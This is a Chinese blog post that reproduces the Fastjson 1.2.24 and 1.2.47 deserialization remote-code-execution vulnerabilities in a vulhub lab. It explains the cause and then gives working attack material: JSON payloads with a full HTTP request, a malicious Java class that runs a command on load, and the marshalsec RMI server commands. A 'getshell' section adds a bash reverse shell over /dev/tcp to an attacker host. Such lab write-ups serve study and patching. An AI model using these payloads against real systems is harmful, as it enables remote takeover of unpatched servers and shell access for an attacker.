Fastjson 1.2.24、47 反序列化导致任意命令执行漏洞复现

Fastjson 1.2.24、47 反序列化导致任意命令执行漏洞复现

漏洞描述:

fastjson是一个java编写的高性能功能非常完善的JSON库,应用范围非常广,在github上star数都超过8k。

在2017年3月15日,fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。

于1.2.24版本后增加了反序列化黑名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过黑名单检测,成功执行任意命令。

1.2.24影响范围:

fastjson <= 1.2.24

1.2.47影响范围:

fastjson <= 1.2.47

漏洞成因:

fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。详细的原理分析:https://www.freebuf.com/vuls/208339.html

漏洞POC:

1.2.24:

POST / HTTP/1.1
Host: 靶机ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 164

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://class文件所在地址:rmi监听端口/TouchFile",
        "autoCommit":true
    }
}

1.2.47:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://class文件所在地址:rmi监听端口/TouchFile",
        "autoCommit":true
    }
}

参考文章:

http://xxlegend.com/2017/04/29/title- fastjson 远程反序列化poc的构造和分析/

https://www.cnblogs.com/ssan/p/12844868.html

https://www.freebuf.com/vuls/178012.html

环境搭建:

  1. 开启vulhub中1.2.24-rce的靶场环境,复现1.2.47就用对应的环境(1.2.47搭建过程与24相同,以下就以24为例),vulhub安装教程:https://www.cnblogs.com/Iamyoyodan/p/13323445.html ,浏览器访问服务默认端口8090,即可看到JSON格式的输出

  2. 接下来生成一个带命令执行代码的类,要求本地安装了java环境(我的版本是jdk1.8);将类文件放到外网上,要求安装Tomcat或Phpstudy(本次实验使用的是phpstudy工具)

    先新建一个txt文件,将以下代码写入,保存重命名为TouchFile.java

    // javac TouchFile.java
    import java.lang.Runtime;
    import java.lang.Process;
    
    public class TouchFile {
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"touch", "/tmp/success"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    }
    

    然后cmd进入文件目录,javac编译生成TouchFile.class文件

    javac TouchFile.java
    

    接着将类文件放到外网上,将class文件放入phpstudy的WWW目录下,启动phpstudy开启Apache服务,浏览器访问class文件地址(此处为本地ip)/TouchFile.class,可成功下载文件

  3. 接着要借助marshalsec项目,启动RMI服务器,监听9999端口,并制定加载远程类TouchFile.class,要求本地安装了maven,(我的版本是maven-3.6.3)

    将项目下载后,cmd进入文件目录,执行命令将项目打包成jar包

    mvn clean package -DskipTests
    

    根据上图可知jar包存放在\target目录下,在该目录下cmd进入运行命令开始监听,到此环境就搭建完毕

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://class文件的地址/#TouchFile" 9999
    

复现过程:

  1. 访问fastjson页面后抓包,将响应包内容改为POC,发送执行

  2. 在监听端口查看到已建立连接

  3. 现在到靶机里查看命令是否执行成功,输入命令进入fastjson环境容器执行 bash

    docker exec -it e4538af52892 bash
    

  4. 看到success文件就成功执行了命令

getshell:

将TouchFile.java的内容改为:

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
   static {
       try {
   		Runtime r = Runtime.getRuntime();
   		Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/反弹shell的ip/端口 0>&1"});
   		p.waitFor();
       } catch (Exception e) {
           // do nothing
       }
   }
}

漏洞修复:

  • 使用已经修复该漏洞的版本
posted @ 2020-06-28 15:21  yoyodan  阅读(1299)  评论(2编辑  收藏  举报